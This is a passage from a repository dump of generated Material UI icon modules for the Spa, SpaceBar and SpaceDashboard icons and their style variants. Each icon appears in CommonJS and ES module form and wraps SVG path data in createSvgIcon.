    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.55 12c-1.07-.71-2.25-1.27-3.53-1.61 1.28.34 2.46.9 3.53 1.61m10.43-1.61c-1.29.34-2.49.91-3.57 1.64 1.08-.73 2.28-1.3 3.57-1.64\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.49 9.63c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-6.5 2.65c-.14-.1-.3-.19-.45-.29.15.11.31.19.45.29m6.42-.25c-.13.09-.27.16-.4.26.13-.1.27-.17.4-.26M12 15.45C9.85 12.17 6.18 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45\"\n}, \"1\")], 'Spa');"
  },
  {
    "path": "packages/mui-icons-material/lib/Spa.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.55 12c-1.07-.71-2.25-1.27-3.53-1.61 1.28.34 2.46.9 3.53 1.61m10.43-1.61c-1.29.34-2.49.91-3.57 1.64 1.08-.73 2.28-1.3 3.57-1.64\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.49 9.63c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-6.5 2.65c-.14-.1-.3-.19-.45-.29.15.11.31.19.45.29m6.42-.25c-.13.09-.27.16-.4.26.13-.1.27-.17.4-.26M12 15.45C9.85 12.17 6.18 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45\"\n}, \"1\")], 'Spa');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.49 9.63c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-3.44-4.44c.63 1.03 1.07 2.18 1.3 3.38-.47.3-.91.63-1.34.98-.42-.34-.87-.67-1.33-.97.25-1.2.71-2.35 1.37-3.39M12 15.45c-.82-1.25-1.86-2.34-3.06-3.2-.13-.09-.27-.16-.4-.26.13.09.27.17.39.25C6.98 10.83 4.59 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45m1.32 4.15c-.44.15-.88.27-1.33.37-.44-.09-.87-.21-1.28-.36-3.29-1.18-5.7-3.99-6.45-7.35 1.1.26 2.15.71 3.12 1.33l-.02.01c.13.09.26.18.39.25l.07.04c.99.72 1.84 1.61 2.51 2.65L12 19.1l1.67-2.55c.69-1.05 1.55-1.95 2.53-2.66l.07-.05c.09-.05.18-.11.27-.17l-.01-.02c.98-.65 2.07-1.13 3.21-1.4-.75 3.37-3.15 6.18-6.42 7.35m-4.33-7.32c-.02-.01-.04-.03-.05-.04 0 0 .01 0 .01.01.01.01.02.02.04.03\"\n}), 'SpaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.49 9.63c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-3.44-4.44c.63 1.03 1.07 2.18 1.3 3.38-.47.3-.91.63-1.34.98-.42-.34-.87-.67-1.33-.97.25-1.2.71-2.35 1.37-3.39M12 15.45c-.82-1.25-1.86-2.34-3.06-3.2-.13-.09-.27-.16-.4-.26.13.09.27.17.39.25C6.98 10.83 4.59 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45m1.32 4.15c-.44.15-.88.27-1.33.37-.44-.09-.87-.21-1.28-.36-3.29-1.18-5.7-3.99-6.45-7.35 1.1.26 2.15.71 3.12 1.33l-.02.01c.13.09.26.18.39.25l.07.04c.99.72 1.84 1.61 2.51 2.65L12 19.1l1.67-2.55c.69-1.05 1.55-1.95 2.53-2.66l.07-.05c.09-.05.18-.11.27-.17l-.01-.02c.98-.65 2.07-1.13 3.21-1.4-.75 3.37-3.15 6.18-6.42 7.35m-4.33-7.32c-.02-.01-.04-.03-.05-.04 0 0 .01 0 .01.01.01.01.02.02.04.03\"\n}), 'SpaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.49 9.63c-.16-2.42-1.03-4.79-2.64-6.76-.41-.5-1.16-.5-1.57 0-1.65 1.98-2.57 4.35-2.77 6.76 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-6.5 2.65c-.14-.1-.3-.19-.45-.29.15.11.31.19.45.29m6.42-.25c-.13.09-.27.16-.4.26.13-.1.27-.17.4-.26M12 15.45c-1.95-2.97-5.14-5.03-8.83-5.39-.64-.06-1.17.47-1.11 1.11.45 4.8 3.65 8.78 7.98 10.33.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51 4.33-1.55 7.53-5.52 7.98-10.33.06-.64-.48-1.17-1.11-1.11-3.71.36-6.9 2.42-8.85 5.39\"\n}), 'SpaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.49 9.63c-.16-2.42-1.03-4.79-2.64-6.76-.41-.5-1.16-.5-1.57 0-1.65 1.98-2.57 4.35-2.77 6.76 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-6.5 2.65c-.14-.1-.3-.19-.45-.29.15.11.31.19.45.29m6.42-.25c-.13.09-.27.16-.4.26.13-.1.27-.17.4-.26M12 15.45c-1.95-2.97-5.14-5.03-8.83-5.39-.64-.06-1.17.47-1.11 1.11.45 4.8 3.65 8.78 7.98 10.33.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51 4.33-1.55 7.53-5.52 7.98-10.33.06-.64-.48-1.17-1.11-1.11-3.71.36-6.9 2.42-8.85 5.39\"\n}), 'SpaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.55 12c-1.07-.71-2.25-1.27-3.53-1.61 1.28.34 2.46.9 3.53 1.61m10.43-1.61c-1.29.34-2.49.91-3.57 1.64 1.08-.73 2.28-1.3 3.57-1.64m-3.49-.76c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-6.5 2.65c-.14-.1-.3-.19-.45-.29.15.11.31.19.45.29m6.42-.25c-.13.09-.27.16-.4.26.13-.1.27-.17.4-.26M12 15.45C9.85 12.17 6.18 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45\"\n}), 'SpaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.55 12c-1.07-.71-2.25-1.27-3.53-1.61 1.28.34 2.46.9 3.53 1.61m10.43-1.61c-1.29.34-2.49.91-3.57 1.64 1.08-.73 2.28-1.3 3.57-1.64m-3.49-.76c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-6.5 2.65c-.14-.1-.3-.19-.45-.29.15.11.31.19.45.29m6.42-.25c-.13.09-.27.16-.4.26.13-.1.27-.17.4-.26M12 15.45C9.85 12.17 6.18 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45\"\n}), 'SpaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.55 12c-1.07-.71-2.25-1.27-3.53-1.61 1.28.34 2.46.9 3.53 1.61m10.43-1.61c-1.29.34-2.49.91-3.57 1.64 1.08-.73 2.28-1.3 3.57-1.64\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.94 12.25q0-.015 0 0c-.13-.09-.27-.17-.4-.26.13.1.27.17.4.26m4.41-3.67c-.22-1.21-.66-2.35-1.3-3.38-.66 1.04-1.12 2.19-1.37 3.39.46.3.9.62 1.33.97.42-.35.87-.68 1.34-.98m3.19 5.08.01.02c-.09.06-.18.12-.27.17l-.07.05c-.98.71-1.84 1.61-2.53 2.66L12 19.1l-1.67-2.55c-.68-1.03-1.52-1.92-2.51-2.65l-.07-.04c-.13-.08-.26-.16-.39-.25l.01-.01c-.96-.63-2.01-1.07-3.12-1.33.75 3.36 3.16 6.17 6.45 7.35.42.15.84.27 1.28.36.45-.09.89-.21 1.33-.37 3.27-1.17 5.67-3.98 6.43-7.34-1.14.26-2.23.73-3.2 1.39m-7.55-1.38\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 15.45c-.82-1.25-1.86-2.34-3.06-3.2-.13-.09-.27-.16-.4-.26.13.09.27.17.39.25C6.98 10.83 4.59 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45m1.32 4.15c-.44.15-.88.27-1.33.37-.44-.09-.87-.21-1.28-.36-3.29-1.18-5.7-3.99-6.45-7.35 1.1.26 2.15.71 3.12 1.33l-.02.01c.13.09.26.18.39.25l.07.04c.99.72 1.84 1.61 2.51 2.65L12 19.1l1.67-2.55c.69-1.05 1.55-1.95 2.53-2.66l.07-.05c.09-.05.18-.11.27-.17l-.01-.02c.98-.65 2.07-1.13 3.21-1.4-.75 3.37-3.15 6.18-6.42 7.35m2.17-9.97c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-3.44-4.44c.63 1.03 1.07 2.18 1.3 3.38-.47.3-.91.63-1.34.98-.42-.34-.87-.67-1.33-.97.25-1.2.71-2.35 1.37-3.39\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.99 12.28c-.02-.01-.04-.03-.05-.04 0 0 .01 0 .01.01.01.01.02.02.04.03\",\n  opacity: \".3\"\n}, \"3\")], 'SpaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.55 12c-1.07-.71-2.25-1.27-3.53-1.61 1.28.34 2.46.9 3.53 1.61m10.43-1.61c-1.29.34-2.49.91-3.57 1.64 1.08-.73 2.28-1.3 3.57-1.64\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.94 12.25q0-.015 0 0c-.13-.09-.27-.17-.4-.26.13.1.27.17.4.26m4.41-3.67c-.22-1.21-.66-2.35-1.3-3.38-.66 1.04-1.12 2.19-1.37 3.39.46.3.9.62 1.33.97.42-.35.87-.68 1.34-.98m3.19 5.08.01.02c-.09.06-.18.12-.27.17l-.07.05c-.98.71-1.84 1.61-2.53 2.66L12 19.1l-1.67-2.55c-.68-1.03-1.52-1.92-2.51-2.65l-.07-.04c-.13-.08-.26-.16-.39-.25l.01-.01c-.96-.63-2.01-1.07-3.12-1.33.75 3.36 3.16 6.17 6.45 7.35.42.15.84.27 1.28.36.45-.09.89-.21 1.33-.37 3.27-1.17 5.67-3.98 6.43-7.34-1.14.26-2.23.73-3.2 1.39m-7.55-1.38\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 15.45c-.82-1.25-1.86-2.34-3.06-3.2-.13-.09-.27-.16-.4-.26.13.09.27.17.39.25C6.98 10.83 4.59 10 2 10c0 5.32 3.36 9.82 8.03 11.49.63.23 1.29.4 1.97.51.68-.12 1.33-.29 1.97-.51C18.64 19.82 22 15.32 22 10c-4.18 0-7.85 2.17-10 5.45m1.32 4.15c-.44.15-.88.27-1.33.37-.44-.09-.87-.21-1.28-.36-3.29-1.18-5.7-3.99-6.45-7.35 1.1.26 2.15.71 3.12 1.33l-.02.01c.13.09.26.18.39.25l.07.04c.99.72 1.84 1.61 2.51 2.65L12 19.1l1.67-2.55c.69-1.05 1.55-1.95 2.53-2.66l.07-.05c.09-.05.18-.11.27-.17l-.01-.02c.98-.65 2.07-1.13 3.21-1.4-.75 3.37-3.15 6.18-6.42 7.35m2.17-9.97c-.18-2.79-1.31-5.51-3.43-7.63-2.14 2.14-3.32 4.86-3.55 7.63 1.28.68 2.46 1.56 3.49 2.63 1.03-1.06 2.21-1.94 3.49-2.63m-3.44-4.44c.63 1.03 1.07 2.18 1.3 3.38-.47.3-.91.63-1.34.98-.42-.34-.87-.67-1.33-.97.25-1.2.71-2.35 1.37-3.39\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.99 12.28c-.02-.01-.04-.03-.05-.04 0 0 .01 0 .01.01.01.01.02.02.04.03\",\n  opacity: \".3\"\n}, \"3\")], 'SpaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9v4H6V9H4v6h16V9z\"\n}), 'SpaceBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9v4H6V9H4v6h16V9z\"\n}), 'SpaceBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9v4H6V9H4v6h16V9z\"\n}), 'SpaceBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9v4H6V9H4v6h16V9z\"\n}), 'SpaceBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10v3H6v-3c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'SpaceBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10v3H6v-3c0-.55-.45-1-1-1s-1 .45-1 1v4c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'SpaceBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9v4H6V9H4v6h16V9z\"\n}), 'SpaceBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9v4H6V9H4v6h16V9z\"\n}), 'SpaceBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13H6V9H4v6h16V9h-2z\"\n}), 'SpaceBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceBarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13H6V9H4v6h16V9h-2z\"\n}), 'SpaceBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h6zm2 0h6c1.1 0 2-.9 2-2v-7h-8zm8-11V5c0-1.1-.9-2-2-2h-6v7z\"\n}), 'SpaceDashboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h6zm2 0h6c1.1 0 2-.9 2-2v-7h-8zm8-11V5c0-1.1-.9-2-2-2h-6v7z\"\n}), 'SpaceDashboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h6v14zm14 0h-6v-7h6zm0-9h-6V5h6z\"\n}), 'SpaceDashboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h6v14zm14 0h-6v-7h6zm0-9h-6V5h6z\"\n}), 'SpaceDashboardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 21H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h4c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2m6 0h4c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2m6-13V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2\"\n}), 'SpaceDashboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 21H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h4c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2m6 0h4c1.1 0 2-.9 2-2v-5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v5c0 1.1.9 2 2 2m6-13V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2\"\n}), 'SpaceDashboardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 21H3V3h8zm2 0h8v-9h-8zm8-11V3h-8v7z\"\n}), 'SpaceDashboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 21H3V3h8zm2 0h8v-9h-8zm8-11V3h-8v7z\"\n}), 'SpaceDashboardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19V5h6v14zm14 0h-6v-7h6zm0-9h-6V5h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 19V5h6v14zm14 0h-6v-7h6zm0-9h-6V5h6z\"\n}, \"1\")], 'SpaceDashboardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SpaceDashboardTwoTone.mjs",
